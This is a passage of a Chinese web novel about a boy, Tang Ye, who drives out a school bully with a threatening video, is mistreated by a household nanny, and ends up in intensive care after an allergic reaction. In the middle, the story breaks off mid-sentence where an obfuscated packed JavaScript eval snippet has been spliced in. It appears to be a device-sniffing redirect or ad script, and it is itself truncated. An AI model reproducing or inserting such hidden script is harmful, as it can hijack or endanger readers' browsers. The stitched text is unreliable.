“真的没所谓吗?一旦这段视频在微博上广泛传播,你家这所学校,似乎也不必再担心招生问题,因为会有很多人抢着把他们的孩子送进来供你陈大少享用。到时候,恐怕不仅你的父母会对你感激涕零,就连远在国外的异母哥哥姐姐弟弟妹妹也可能会兴奋得想要对你进行一番‘特别’的款待。” “你会吗! 一旦公布这视频,你的隐私和尊严也都将荡然无存!” “呵呵,光脚的不怕湿鞋的,在你眼中我就一个私生子,贱命一条,我怕什么?但你陈大少嘛,就不一样了,父母的期盼,家族的期待,啧,不知你在媒体前,是痛哭流涕好,还是继续像现在这样不可一世呢?”唐晔说得慢条斯理。 “你敢!” “不就开个玩笑,陈大少怎么就生气了?”唐晔直视着他,面带微笑。 陈常猛地从栏杆上跳下来,一步跨到他面前,拔出拳头一直拳兜头照脸向唐晔打去。 不愧是号称练过散打的人,拳速太快了,唐晔只觉得一个猩猩一样的黑影扑过来,拳风直冲到他脸上,以自己的反应速度、只来得及闭上很睛,盘算着等下说不定连鼻骨都会骨折吧? 但突然他被人抱住肩膀侧到一边,他慢慢睁开眼睛。原来唐天护着他把他抱在自己怀里,陈常一拳落空、由于惯性扑到唐天面前、唐天毫不犹豫对着陈常的侧脸一个勾拳:“小爷我忍你很久了!” “不要!”唐晔反手紧紧抱住唐天。唐天收手不及,歪了歪身子,差点撞到栏杆上,而弟弟却被自己的惯性带着,夹在自己与栏杆之间,痛得闷哼一声。 “没事吧?”唐天紧紧把他圈在臂弯里。 陈常刚才已经马上退到一边,众目睽睽下不敢对唐氏家族的长子动手,却又开口嘲讽道:“这不是我们的唐二少嘛?怎么,现在才想着这货是你弟弟?前几天兄弟情没带来上学?”几个跟班也笑了起来。 唐晔轻轻推开哥哥。“陈常,长话短说,从这一刻开始,你从学校消失,并不能再出现在学校一公里范围内。更不允许以任何方式,主动与学校上的任何女同学联系。这样,我就保证这个视频不会出现在公众视线内。并且,当我也已经确认你把所有关于我的图片与视频都从你的所有云端与终端全部删掉之后,我们七月份顺利毕业时,我就会删掉刚才那个视频。现在,马上,你可以滚出这个学校了。” “我怎么信得过你之后会删掉?” “你没有选择,只能相信。”唐晔扯着受伤的嘴角,淡淡地笑笑。 陈常瞥了他们两兄弟一眼,随即不敢再犹豫、大步离开,头也未回。 刚才躲在教室里战战兢兢看戏的所有同学纷纷从教堂涌出,聚到走廊上,目送着校霸与他的跟班们离开学校。 脑海里的那条弦一松,唐晔才觉得背疼手疼腰疼腿疼、哪哪都疼,他哭丧着脸扶着墙,一步步下了楼梯。 这时,方雨晴追上他:“唐晔,我理解你也不想公布视频,毕竟也是你的隐私。那你为什么不拿去报警?” 唐晔背着她,说,“方雨晴,我希望你明白,水至清则无鱼。只要他们能让我们平平安安过了七月份毕了业……” “这样,坏人却没受到应有的惩罚!”方雨晴气恼地打断他。 “应有的惩罚?正如他所说,都是未成年人,他受不了什么惩罚的。而且还要调查,取证,除了我还有别的受害者,需要被挖掘隐私与痛苦,最后说不定也只是对他批评教育。而一旦报警,再去公布视频,我们反而变成了泄露未成年人隐私,对他失去约束力。方雨睛,能自保,就够了。” 唐天从上面赶下来,扶住他:“小晔,你怎么自己先走了?” 唐晔不说话,轻轻甩开他的手,扶着墙再慢慢下楼梯。 唐天知道刚才自己做错了,这几天自己的所做所为也完全弄错了对象,弟弟厌恶自己,理所当然。现在也只能护在他身边,陪他一步步往下走。 看着唐晔脸上身上各处擦伤挫伤,一边走,唐天一边心有余悸地问:“刚才姓陈的出拳打你,你干嘛不躲?你知不知道以他的力量能把你的鼻梁骨打断!” “眼睛看到了,身体反应不过来。”唐晔走完最后一级楼梯到了楼下,停下来喘口气,也没有看唐天,只是无所谓地咧嘴笑笑。 当他们走到校门口时,唐天正准备把他扶上自己那台车,突然听见有人呼唤:“二少爷,三少爷。” 万里地产的副总裁方源站在他们不远处,背后是唐万里那辆定制版的劳斯莱斯库里南。 唐晔对他笑笑:“方伯伯,您消息真灵通啊!” 方源说:“三少爷,我原本是奉命过来救您的,但现在看来,您并不需要。恭喜您赢了。” 唐晔惨笑一下:“杀敌一千,自损八百。可不敢当您的称赞。” “但行好事,莫问前程。三少爷,请吧。” 唐晔轻轻推开唐天,向前走几步,慢慢爬上那台库里南。 15. 第 15 章 五一这几天里,唐天给弟弟发送了好多信息,弟弟一直没有回复。好容易最后一天,唐山海一有空,唐天便使劲央着爸爸开车带自己回爷爷的云山大宅。 一跳下车,唐天便迫不及待往弟弟所住的晴园跑去,半途却被爷爷喝住:“干什么干什么!过来陪爷爷喝茶!” 他无可奈何地和爸爸一起陪着老头子喝了半天的茶,说了半天无聊话。 等到爷爷和父亲终于终止一个长长的话题,唐天火烧眉毛似地问:“爷爷,弟弟呢?” 爷爷瞥了他一眼说,“你还记得有个弟弟呢?” 这时唐山海也帮着儿子恳求:“爸,两个孩子吵架了,这不小天已经知道自己做了错事,专门过来和小晔道歉的。” “我怎么不知道是你这小家伙做错事?看来你爸知道的事儿比我老头子知道的还多呀?小晔前几天回来,倒是没有跟我说别的,问他就说已经没事了。既然他不说,那老头子我也当不知道。” 小晔没有把自己的所作所为告诉爷爷,唐天既庆幸又愧疚。 “……也许有人跟你说过他身份来历不明。但你得确信,他是你二叔留下唯一的亲生儿子。你二叔去世时,恋人已有身孕。” “啊,那他妈妈现在在哪?” “我告诉你这件事,不是为了让你去追究他的身世,他不记得自己生母了,被送来时他还很小。只是已经委屈了他不能以自己父亲的孩子的身份生活。小天,我必须提醒你,毕竟从血缘上你们是堂兄弟,不要听风是风,不要做得太过。” “爷爷,我知错了。” 唐万里看着远处,又感慨道:“爷爷能做到这个家业,也是因为早年兄弟朋友相伴,才能有如此成绩。尤其是你的外公,早年,要不是他,可能我们两家早已销声匿迹。所以,很多事情上,我也不忍心管束你的妈妈。” 唐万里对着唐天说完这句话,眼睛却瞥见坐在旁边的自己的大儿子唐山海握紧了一下拳头,又慢慢放松。 “爷爷,我知道了。” “那走吧,看看他去。” 唐天跳起来,挽上方源的胳膊走在前面。 方源也回握住唐天的手,轻声在他耳边道:“二少爷,有件事我得跟你说明白。那天我也问过三少爷,为何不公开那个视频。他说视频里涉及了其他生活内容,包括哥哥的。我追问具体是什么,他却笑着反问,厕所里能有什么呢?不过是男生的隐私罢了。所以,你弟弟这么做,必是顾及你的感受。” “方伯伯,我明白您的意思了。……谢谢您,有您一直在小晔身边。” 方源微笑着拍了拍他的肩膀。 唐万里和唐山海走在后面。 唐万里低声对儿子说:“山海,秀兰与你共度多年,已育有两个孩子。除了在小晔这件事上她有些纠缠不清,她对你一直一心一意,而且其他方面,她都尽到了当家夫人的责任。这么多年过去了,你也该释怀了。” 唐山海点了点头:“我知道。爸放心吧!” 当他们拐进晴园时,第一眼看去,那个男孩并没有在平常都爱呆的亭子里。几人四处转了转,才发现唐晔站在一个角落里发呆。 唐天连忙跑到弟弟身边,说:“你在这儿呢?在看什么呀?” 被什么东西吸走了魂魄似的唐晔听到他的声音,慢慢转过身向众人恭敬地打了招呼。 唐天又问了一遍:“你刚才在看什么呀?看得这么入神。” 唐晔用手指了指靠着墙的一颗植物:“那里有一丛玫瑰枝叶,我从来没见过它开花,已经好几年了。但刚才我竟然发现了它开出的第一朵花。” 带刺的蔷薇丛,叶子半红半绿,枝头上的尖刺在日光照耀下闪着星星点点的光芒,在一个不太起眼的角落,一朵深红的玫瑰像火炬般盛开。 刚才他们没进来时,唐晔向它伸出了手想触碰它,半途却被前面的藤蔓挡住了。他不顾一切想把自己的手穿过带刺的枝条伸向那朵花,可惜,几经努力,还是以失败告终。 “那是好事儿啊!说不定象征着我们今年两个人都能考上重点中学呢!”唐天没话找话。 唐山海在后面插话:“你弟弟能考上,那是理所当然,你,就得好好努力了!小晔,回来帮助哥哥好吗?哥哥说,这几个月你功不可没呀!” “哥哥天生聪慧,只是过去因赌气未曾用心学习。如今一旦下定决心努力,便迅速迎头赶上。此事与我并无太大关联。”唐晔垂首回答,恭敬而疏离。 “小晔!我都说过对不起了,你还要我怎么样?”唐天伸手想抓住弟弟的肩膀,唐晔却闪身避开。 唐山海也帮腔:“下个星期,我们大人都得到国外去办些事儿,你回来帮我看着你哥哥,好不好?” 方源在旁向唐万里汇报:“老爷,按您的意思,万里地产刚才已宣布终止跟陈氏教育集团的一切合作。” 唐晔默不作声,只低头盯着地板。 “休息够了就回去吧。”唐万里淡淡的说。 原来,只要自己没死,无论自己有多困惑、不安、恐惧、失望,爷爷都不会在意。 见唐万里开了口,唐晔答应了:“是,爷爷。爸爸,哥哥,你们误会了,我并非不愿回去。”他又补充道:“爷爷,方伯伯,承蒙照顾,这个假日,我过得极为愉快。现准备随父兄离去,谢谢两位。” 唐万里嗯了一声,不再说什么。倒是方源仔细嘱咐他,身上破皮的地方都小心点别沾水。 听到弟弟愿意回来,唐天笑得眼睛都弯了起来,兴奋地拉起弟弟的手,追问说,“怎么这两天没有回我信息?” 唐晔不说话,却忍不住倒吸了口冷气。 唐天这才发现他的手上满是新鲜血痕,“怎么搞的,你刚才是在想摘那朵玫瑰吗?我帮你?”唐晔摇摇头。 唐天又突然发现他另一只手腕上缠着厚厚的绷带,又抓起来问,“这只手怎么了?就是前几天弄伤的?” 唐晔目无表情地柔声回答:“本来今早已经好的差不多了。” “……是我不对。那你干嘛不回我信息?” “我的手机让那帮人摔坏了。”唐晔淡淡说道。 “哦对,那等一下回去的时候顺路给你买一台,好吗?哥哥送给你。”唐天按下心头的焦躁:你是故意不理我的吧,难道电脑就看不到信息?更别说你只要出声,马上有人从市中心为你把新手机买过来。 “好呀,那我就要最新款的,顶配的。”唐晔打起精神,回应哥哥。 某位哥哥哭丧着脸说:“你的零花钱比我还多呢!……好好好,没问题,只要你喜欢。” 唐晔站在教学楼楼顶的天台上,方雨晴走了上来:“刚才班里又有人打架了。” “哦,谁?”他顺口问道,兴趣缺缺。 “杨阳。” “不奇怪。” “这次他倒不是无端端的,他是在帮你,有个人还拿你和唐天事来开玩笑,他就帮你揍了那人。” “帮我,揍人?那还不是在霸凌别人吗?体力好的就欺负打不过自己的,有钱的就花钱收买人心,家里有点儿势力的就连老师也不敢管。” “正义像个害羞的小姑娘,总是躲躲藏藏,从不轻易抛头露面。”方雨晴慢悠悠背诵着,又说,“所以我准备考公立学校,起码老师们靠谱很多。” “……” “我一定会好好念书,以后想当记者,别人不敢做的事,不敢采访的人,我一定会去!” “……” “我一定会向你证明,错的就是错的,不能条件交换!” 唐天凝视着唐晔孤独地站在天台上,背影显得寂寥。陈常等人虽被驱逐,但他们造成的伤害却难以完全平复,唐天心中不禁反思,这些伤害中,又有多少与自己有关? 夜晚在家里,弟弟在爸爸和勇哥面前,表现得与自己尚算和睦。然而,在无人的角落,他却连一句话都不愿与自己交流。唐天深深懊悔,当初在别人辱骂他时,自己不仅未能站在他身旁,反而将他推得更远,伤得更深。 唐晔在五月初的阳光下晒了许久,才渐渐驱散了身上的寒意。午休结束的铃声响起,他转身想下楼回教室,却因晒得有些眩晕,身体摇摇欲坠。 唐天见状,马上跑上前扶着弟弟。唐晔一站稳,看清是唐天,轻声说了“谢谢”,随即转身向楼梯口走去,未再多看哥哥一眼。 “小晔!”唐天追上去喊道。 “哥哥,怎么了?”唐晔回头,脸上已恢复笑容,但笑意未达眼底。 看他看自己的眼神,唐天更加难受,他上前一步抓起弟弟的手贴近自己的脸,说,“你打回我,想打多少下都可以,打到你开心为止。”他眼神中充满了恳求与期待,希望能用这种方式来弥补之前的错误。 唐晔轻笑了一声,轻轻抽回了自己的手。唐天却不依不饶,再次执着地抓住他的手。如此反复折腾了三四次,唐晔终于忍无可忍,猛地转身抽回了自己的手,冷冷地说道:“哥哥,你有点烦。” 可这一掌却正好甩到唐天下巴上,轻轻的“啪”的一声,却让两个人都惊呆了。 “对不起!”唐晔马上道歉。 唐天一下子没反应过来,自己居然被打了。虽然小晔打了自己,但自己的确没得到宽慰。好一会儿回过神,他才连忙说,“没事,是我让你打的,你不用说抱歉。” “但,你觉得以暴制暴,真的有用吗?它既没有让你自己心安,也没有让我释怀。” “那你怎么才肯原谅我?” 唐晔再次微笑,“无所谓原不原谅,生活还得继续下去。我们好好合作,当一对好兄弟给大家看吧。”笑容比冰还冷。 “小晔!”唐天喊着,但唐晔依旧头也不回走了。 “如果,如果他能忘了这一切,回到最初、七岁那年他向我伸出手……不,就回到今年春节时,他还愿意浅笑着问我’现在我们是朋友了吗’那时,就好了!”唐天喃喃说道。 今晚,唐万里、方源以及唐山海夫妇将乘坐夜晚的飞机一同前往M国。 唐山海家里,大家围坐在饭桌前,归秀兰正在和儿子话别,而唐山海一边吃饭一边用平板查阅文件。唐晔胃口不太好,匆匆吃了几口便停下筷子,目光投向电视。突然,一条国际新闻吸引了他的注意。 “中亚一小国的知名旅游胜地遭恐怖袭击,古城半毁。”电视画面中,一座修道院几乎崩塌,哀号声此起彼伏,令人痛心。 他恍恍惚惚站了起来,恍恍惚惚的进了房间,一段他也不确定属于谁的老旧记忆又从脑海里闪现出来。 记忆里的人,曾饥肠辘辘、衣不蔽体,跟着一班和自己一样脏的孩子,把手伸向来古镇旅游的人们。他们乞食、也有人偷盗,卖惨是他们最基本的技能。一旦得了些许食物就赶紧塞到小嘴里,管它是坚果还是饼干,没有被更大孩子马上抢走就是幸运。 记忆里的主人公没有名字,主人公的白人母亲年轻得像个大姐姐一样,在酒吧弹钢琴、陪酒,被人欺负得比他更甚。 修道院里的嬷嬷对他们很好,时不时周济。但他们仍食不果腹。吃到肮脏食物而腹泻疼痛的感觉,他太熟悉了。 唐晔躲在房间里用被子蒙着头,脑海里满是刚才看到的翻滚的浓烟。 在刚才新闻转播的这场事故中,他仿佛失去了很多,很多。他的内心如被人紧紧揪住一般痛苦不堪,连带他的身体也开始无法承受这样的痛苦。 他的腹部开始隐隐作痛,像是有只无形的手在轻轻搅动他的内脏。随着时间的推移,那疼痛逐渐加剧,从胃部一路蔓延至右下腹,让他感到一阵难以忍受的灼烧感。 他紧锁眉头,额头渗出了细密的汗珠。他试图用双手按住腹部希望能减轻一些疼痛,但那疼痛却像是钻进了他的骨髓,让他无法忍受。他感到一阵阵恶心袭来,神情恍惚地冲到卫生间开始呕吐。 恍惚间,他晕倒在卫生间里。 陈姨晚上进来收拾卫生间时才发现晕倒的三少爷,这时家里已经只剩兄弟俩。她慌张地叫了救护车,马上把这孩子拉到医院。急性阑尾炎。幸好唐家的大小姐唐笑这段时间在国内,赶过来为三弟签了字做了微创手术。 过几天,唐笑和陈姨把他接出院。回到家中,小心翼翼地把他扶到床上躺好。 父母不在,保姆们又不管,唐天干脆连学都不上了,在家里一直等着他们。唐笑事情忙,叮嘱唐天看顾好弟弟,就急匆匆回公司。 唐晔紧闭双眼,无法动弹。 唐天呆呆看着呼吸微弱的弟弟,很久,他才想起之前有个人说过的,这家伙都不知道能不能活到成年呢。 他整天病怏怏的,要死了吗? 厨房里,传来陈姨和黄姨的对话: 陈姨嫌弃着:“我让您买条生鱼,买点瘦肉,你怎么净买牛肉片?三少爷刚动完手术,吃不得这个!” 黄姨做的东西几乎都是归秀兰老家四川的口味,平时吃吃就算了。陈姨紧张那孩子,上次唐晔哮喘发作、那几天吃不下东西,都是陈姨开小灶给他炖汤煮粥,做些符合南粤人口味的餐品。 但这次唐山海夫妇不在,黄姨推说南粤前段时间潮湿、自己手风湿痛,连饭也懒得做,陈姨的开小灶变成大锅饭,照顾唐晔之外还得负责全部人伙食。 “二少爷喜欢吃!这些天光跟着喝粥水,都把二少爷饿瘦了!”这婆娘倒是会讨好主人家。 “那你倒是做饭啊!本来你买牛肉也顺道买块瘦肉好吧?” 黄姨不耐烦地说,“没有了没有了,找不到好肉!” 唐天从唐晔房里走出来说,“您俩小声些,楼上都听得到了!黄姨你有空,帮我倒杯水给小晔。” 黄姨从二少爷手里接过杯子,倒了满满一杯水,大踏步走进唐晔房里,重重地把水杯放在床头,水洒了出来,有几滴甚至甩到唐晔脸上。 唐晔半睡半醒间被惊得突然睁大眼睛,看着那恶婆子走出房门,站在门口骂骂咧咧:“什么病鬼!也配让二少爷给端茶倒水。喝吧喝吧,喝不死你这病鬼!整天只会躺在床上让人伺候,不知道的还以为做了什么不得了的大手术、要死了呢!” “黄姨,你在说什么?!”唐天难以相信这么难听的话会从一直在自己家服务多年的保姆嘴里说出来,更难以想象,病成这样的小晔听到这话该有多难受。 陈姨急得从厨房里跳出来,挥舞着大手就扯她脑门上的头发:“闭嘴!你这腌臢破烂货!你不愿伺候他就滚回你乡下去让人伺候,搁这儿来撒泼!” 唐天一阵心疼,“你给我道歉!”他也对黄姨大吼。 “快说!不然我扇死你!”陈姨气得不行,农村妇女的力量显著,一手薅住黄姨的头发,一手蒲扇似的来回扇得黄姨脸颊都红肿了。 “好了好了,我嘴贱,不会说话,行了吧?”黄姨初时还用手挡了两下,奈何陈姨下了死力气,实在拗不过,便无赖地应付道。 陈姨还想再打她几巴掌,但锅上的白粥在翻滚,只好松开她回到厨房。 唐天已经无法顾及这两个保姆争吵,他急匆匆进去弟弟房里查看情况。他轻手轻脚地擦干床头的水,抬头却看到弟弟闭着眼睛,脸上残留着不知是水痕还是薄汗。他伸手给他擦掉脸上的水,弟弟却轻轻地把脸转了进去。 这时,唐笑处理完事情又急忙开车回到家。一进门就留意到厨房里外,两个互相黑着脸的保姆。她不明所以,问黄姨,黄姨避重就轻地说:“我没买瘦肉,那陈家的就说我对两位少爷不上心。这保姆哟,越来越难做了哟!” 唐笑看着她脸上的红肿,觉得事情没那么简单。 这边陈姨刚想反驳,又想着要是把这些难听话说一遍,既浪费时间又误了煮粥,便冷着脸,只说,“叫她买瘦肉买生鱼,却啥都没买到。” 唐笑打开手机app下了单,就洗手进房间看望小晔。 唐晔已经再次入睡,毕竟急性炎症发高烧,又才刚做完手术吊了好几天抗生素,体力再好也抗不住,何况他一直体质偏弱。这些天他一直昏昏沉沉。 唐天呆呆的一直看着弟弟的侧脸。良久,唐天才查觉姐姐回到,他的声音低得不能再低:“姐,他会死吗?我突然很害怕。” “这倒不至于,微创手术说大也不大。” “但他为什么还是这样,毫无反应?我怕他死,”唐天点点头,又摇摇头,“更怕自己再也见不到他。” 唐笑默默地翻了个白眼。我的好弟弟哟,从小论起羞辱小晔,你唐天认第二,也没有人敢认第一了,现在做出这副样子,又是闹哪出?“你小子长点心吧!”她叹了口气。 这几天唐天每天早上早早起床,第一件事就是进弟弟房间看他。被姐姐逼着出门上课,放学后也直接回家照顾弟弟,连陈姨都表扬他长大了会疼人了。 一个多星期,唐万里和唐山海夫妇终于从美国回来,下了飞机就直往家里赶着回来看望唐晔。 知道主人家回来,连唐家老太爷也要来,黄姨的手突然好了,又能干活了,今天还特勤快,早早买好新鲜的肉菜,做了丰盛的午餐,还特别主动地给三少爷煮好粥、蒸了水蛋。 唐天刚塞了弟弟吃完一大碗水蛋,现在把他扶下楼,在沙发上坐定。 唐晔吃了东西,精神好了些,挨着唐天和唐笑坐着,两个男孩一起逗着大姐从住处带过来的萌萌狗狗。 看着小孙儿瘦得脸都尖了,完全褪去了最后一点儿婴儿肥,眉眼间疏离淡漠,唐万里看在眼里,心里翻腾,但表面却不动声色。 唐晔一边礼貌地回答老人家,一边漫不经心地挠着狗狗的下巴。陈姨站在他身后不远,事无巨细地向主人家补充说明。 这时,唐天说:“爸妈,爷爷,这次小晔突然生病,您几位都不在。幸好陈姨一直耐心照顾,小晔才慢慢好转,但黄姨呢!让她买菜推三阻四,小晔发高烧时让她倒杯水她还冲着小晔吼,说些难听至极的话。我觉得黄姨并不适合照顾我们,我们不要她在我们家了!” 黄姨正好在厨房里竖着耳朵听着,连忙放下手里的东西,小跑到他身边弯腰说道:“我的二少爷,我那天不是已经向您道过歉了么!…况且,况且,这么多年,都是我一直给你们打理餐食的呀!” 唐天想起前几天唐晔躺在床上无助的身影,弟弟从小到大受了自己不少折腾,多次就是黄姨吴姨这两女人有意无意在自己耳边耸涌。自己前几天已经向小晔保证不会再让她俩接近他,等妈妈一回来就提出让黄姨走。 但是,黄姨也的的确确一直在他们家任劳任怨,平时对自己也称得上尽心尽力。 唐天的心软了软,转脸看了一眼弟弟,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄姨看着老太爷发话,知道无力回天,一屁股坐在地上,手直直地指着唐晔的鼻子:“唐晔,你这有爹生没娘养的杂种!我就知道你不是个善茬……” “住口!”“住口!”几个声音同时响起。唐天跳起来挡在唐晔面前,一把打掉黄姨的手。 唐晔觉得有些眩晕,呼吸开始急促。他轻轻拉了拉唐天的衣角,阻止了他作为唐家长孙的有失身份的举动。然后对唐万里说:“爷爷,抱歉,我有点难受,想回房间躺一下。”声音有气无力。说着,不忘站起来礼数周正地向爷爷告退。 唐天转身扶起弟弟,轻轻地把他带向自己怀里支撑着,却不料唐晔不动声色地挺了挺腰,离开了他的身体接触。 归秀兰看着两兄弟上了楼,松了口气。再让公公听到黄姨是怎么谩骂唐晔,得知她们平时怎么对他,恐怕也连她自己也少不得要挨说一顿。 陈姨二话不说上前拽着黄姨的胳膊狠狠地把她扯到大门外。 唐山海见父亲不悦,忙请父亲回大宅休息,这些乱七八糟的事他们一定会妥当解决。 唐万里站起来,看着媳妇说:“秀兰啊,再怎么说小晔也是我亲孙子。你听听那些上不得台面的人说的是什么话!这在我的面前都敢这么侮辱他,更别说在背后怎么糟蹋他呢!要是再有哪个不清不楚的,不管是谁家来的,那可都要好好治治了!”又凑近她低声说,“看在你二叔的份上,好吗?” 二叔、二叔,又是推到那早死的年轻二叔头上。归秀兰低头应和着。 送走公公,她转头严厉地对管家刘姨说道:“刘姐,刚刚三少爷的意思,老太爷的意思,你都听清楚了吧!另外,我再强调一遍,如果以后家里的保姆,哪个敢嚼舌根子的,敢有半点轻慢了三少爷,或是挑拔两位少爷关系的,都照着这样,直接让她走人。” 她坐了下来。心里又有那么一点儿气不过,不是为这隔了好几层的远房亲戚的蠢婆娘。单是论处事灵活圆滑,唐晔远在唐天之上。小天这个不争气的,最近怎么突然对他变了态度,这迟早让这野孩子吃得死死的。这么多年也不长点心眼儿! 把弟弟扶进房间,唐天仔细地拿枕头垫在他背后,让他尽量舒服地斜靠在床头。 唐晔默默看他给自己做这一切,嗤一声笑出来,低声说:“哥哥,我以前怎么没发现你这么细心?”房里就他们两人,做给谁看呢! “谁说!我一直都很会照顾人,姐最近也经常表扬我细心。”他堆出一脸温柔的笑,看着弟弟,却突然被他床头半开的抽屉吸引住目光。 最上面露出爷爷送给弟弟开笔礼的那支毛笔,上面刻着弟弟的生辰,记得上面是“癸”什么?癸未?癸巳? 他顺势一把拉开抽屉,打开这个长长扁扁的小盒子:“对了,你生日是啥时候,我居然不知道!我查到了今年给你好好庆祝生日好吗?不过你要快点好起来!”但他突然看到弟弟的脸色并不像被自己逗乐,反而有点不高兴?哦对,我刚才应该先问他“可以看看你的东西吗”? 说起,突然想起,自己7岁那年春节,这个矮了自己一个头的孩子,前一天才被人从自己身边一把推开,第二天又捧着据说画了好久的画,怯怯又一脸讨好地送给自己,却被自己当着众人的面扔在地上,踩了好几脚,说这么丑的画好意思送给自己,这么丑的小孩也好意思出现在这里,还把他赶出餐厅。 其实他画得真好,两个可爱的小男孩笑得甜甜的,互相伸出小手,差一点就握上了。一看就知道画的是他们俩。而7岁时的他,却绝不可能和这个被她们嘲讽地称为“野种”的弟弟握手、微笑的。 后来几年,每年过年过节或自己生日时,弟弟都会精心做些手工礼物送给自己,但多少次都被他狠狠地羞辱,再就没有然后了。 唐晔冷眼看着唐天拿笔、拍照、又看了看自己的脸色、好好把笔放回去。他不置可否地笑笑,笑意未达眼底。 唐晔软软地躺下去,感到喉咙越发紧张,想咳却咳不出来,忍不住皱了皱眉头。 “……是不是刚才黄姨的话让你很难受?小晔,你不必在意这些疯言疯语……”唐天担忧地安抚道。 “我没在意。”唐晔撇嘴道,胸口越来越闷,一阵眩晕袭来,他闭上了眼睛不再说话,强压下恶心感,想着小睡一下就好。 “那你先睡会儿,等下吃饭时我再叫你。”唐天说着,轻轻地退了出去关上房门。 唐天坐在外面沙发上,皱着眉头上下翻着橙色小软件,边问道:“哎,姐,你说小晔喜欢什么呀?球鞋?手办?这么多年,我居然不知道他喜欢什么。” “干嘛这么突然说这个?” “这不刚好快到他生日了嘛。爷爷送给他那支开笔礼的笔上,刻有他真正的生日。刚我查过了,原来是03年7月7日,比我小了一岁半呢。往年都没好好考虑送他什么,今年想着送个大份的,也当是庆贺他早日康复呗。” 唐笑有点儿疑惑,“他是03年的?没搞错吧?……这样啊,那手办或者模型挺好啊。” “也不知道他喜欢哪个动漫,我好像没见过他看动漫……究竟喜欢什么的呢?” 唐笑白了唐天一眼:“难道你不记得以前是谁小时候回去云山大宅,闯进他房间把他的东西弄烂吗?他要是有什么宝贝,还敢拿到你面前?” “好好好!是我是我!我这就多买几个,把他房间堆满,行了吧?……哇塞,这高达超帅,我觉得他喜欢!还有这个……下单!” 陈姨从厨房走出来念叨着:“那婆娘今天倒是勤快,还有一大桌子菜呢,大小姐二少爷还吃点不?……三少爷怎样了?” “还在房间里睡觉呢,您安静些进去,别吵醒他。” “就是要叫醒他加餐了。他身子骨还弱着,刚才只吃了几口蛋羹,刚又给他煮好了肉粥,少吃多餐补回来。”陈姨边絮絮叨叨边敲了敲门,走了进去。 突然,陈姨的尖声呼救从唐晔房里传出来。 救护车很快赶了过来。一家子尾随着着救护车来到医院急救室外。 一个小时过去了,一位医生走了出来,远远递给他们一张纸。唐天扑过去抢在手里一看—— “病危通知书?!什么鬼!” 医生无视这个挡在自己面前叫嚣的半大小鬼,转头对唐山海夫妇说道:“孩子的情况目前较为严峻,由于发生了严重的过敏反应,导致呼吸道严重水肿、心脏房颤。我们刚刚已经为孩子进行了气管插管,并启动了ECMO治疗,以维持其生命功能。目前,我们正密切关注孩子心脏的状况,期待其能够尽快恢复自主的正常跳动。然而,由于过敏反应的复杂性和个体差异,孩子心脏恢复的具体时间和效果目前尚无法准确预测,我们将全力以赴进行救治,并密切关注孩子的病情变化。” “拜托了,医生!”唐山海连连向医生道谢。 “哧——”唐天一把把那张病危通知书撕掉扔在地上,冲过去就抓住那医生的衣领大吼:“我不管你怎么做,把他救活!” 归秀兰急忙拉走他,唐山海连连向医生道歉:“真的对不起,他们两兄弟感情好,没控制住态度,抱歉!” 医生整理了一下衣服:“请家属们一定要控制好情绪。”说着头也不回进了急救室。 唐山海一边让秘书找人,一边连忙给老父亲去电话。 16. 第 16 章 方源以前穷困,念大学时幸好得到事业已小有所成的唐万里资助顺利完成学业,大学毕业后一直跟在唐万里身边,已有30多年,深得唐万里信任,连唐山海也得称他一声哥。唐万里从不亏待手下的人,随着方源的能力不断提升,一直把他提拨到万里地产副总裁的地位。方源也时刻谨记恩人的恩情,做事兢兢业业,对唐万里忠心耿耿。 唐万里夫妇原本恩爱有加,两人从年轻时便一同创业。然而,夫人在生下二儿子唐晚星后便离世了。唐晚星年少时意气风发,但更不幸地,深得宠爱的他在少年时期便已夭折。 直到唐晔这个很特别的孩子诞生下来,但出生不久却又被亲生母亲偷偷抱走,那孩子四岁多,才终于回到他们身边。 多年来,方源见证了唐万里中晚年历经风雨,承受丧妻丧子的痛苦,也就对这个孩子不冷不热。 孩子因基因缺陷,心肺功能不太正常,从四岁多回到他们身边就大小病不断。以前孩子生病时还会问方源:“方伯伯,爷爷怎么不来看我?” “三少爷,老爷很想你呢,他在开会,一忙完就会来看你。” 但这句话,没过两年就骗不到这个聪明的孩子,不过孩子也不再问了。 方源懂得唐万里知道这小孩活不久。他怕了,怕再白发人送黑发人了。 就像此时,明明那孩子在生死线上苦苦挣扎,老爷接到大儿子的通知,却只淡淡的从鼻腔里哼出来“知道了”。 方源劝说,“老爷,我们要不还是去医院看一下三少爷?” “看有什么用,交给医生,该活的就得活下去。要去,你自己去,我老骨头都累坏了。”唐万里一边说着,一边却开始摆弄起这次从外国收回的字画。 方源做不到那么淡定。夫人去世这么多年,他对唐晚星当成亲生弟弟般疼爱,而对唐晔更是视作珍宝!他心里一直焦灼,要不是老爷对小晔一直意味不明,以前唐万里喜称一声世侄女的归秀兰,又怎敢对唐晔如此苛刻。 陈姨整个人慌了,蹲在地上,忍不住撕扯自己的头发哭着:“那杀千刀的女人哟!我就应该死死看着她!她怎么会不知道小晔碰不得一点儿牛奶呢?那碗蛋羹我怎么都没仔细闻闻就让她端给小晔了呢?我该死哟!” 唐天害怕得发抖,他只是不敢说,这是黄姨给自己做的早餐。 方源赶到医院时,据医生通知,唐晔刚转入ICU。 唐天哭着喊着要见弟弟,归秀兰和唐笑按不住他,唐山海才刚把唐天批评了一顿,这又引发了归秀兰的强烈不满。 和他们同样坐了十几个小时飞机刚从国外回到、先去公司安排完工作、回到云山大宅、又接到通知而匆匆赶去医院的方源抚着额头,先是安抚了唐山海一家,两人又通过各种渠道咨询孩子的病情,但无一例外都是“已经尽全力救治,要等待患儿自主呼吸后,逐步撤离气管插管和ECMO,可能几天,也可能几个星期。” 唐天被方源和唐笑紧紧抱住,带到ICU外的观察室。那里有一台显示器,能够实时呈现里面的患者情况。一到观察室,唐天便急切地扑到显示器前,紧紧盯着弟弟的侧脸。唐晔双目紧闭,由于水肿和气管插管,原本小巧白皙的脸庞变得肿胀蜡黄,陌生得让唐天几乎认不出他。认出后,他又被从弟弟脖子上延伸出来的粗大管子吓到…… 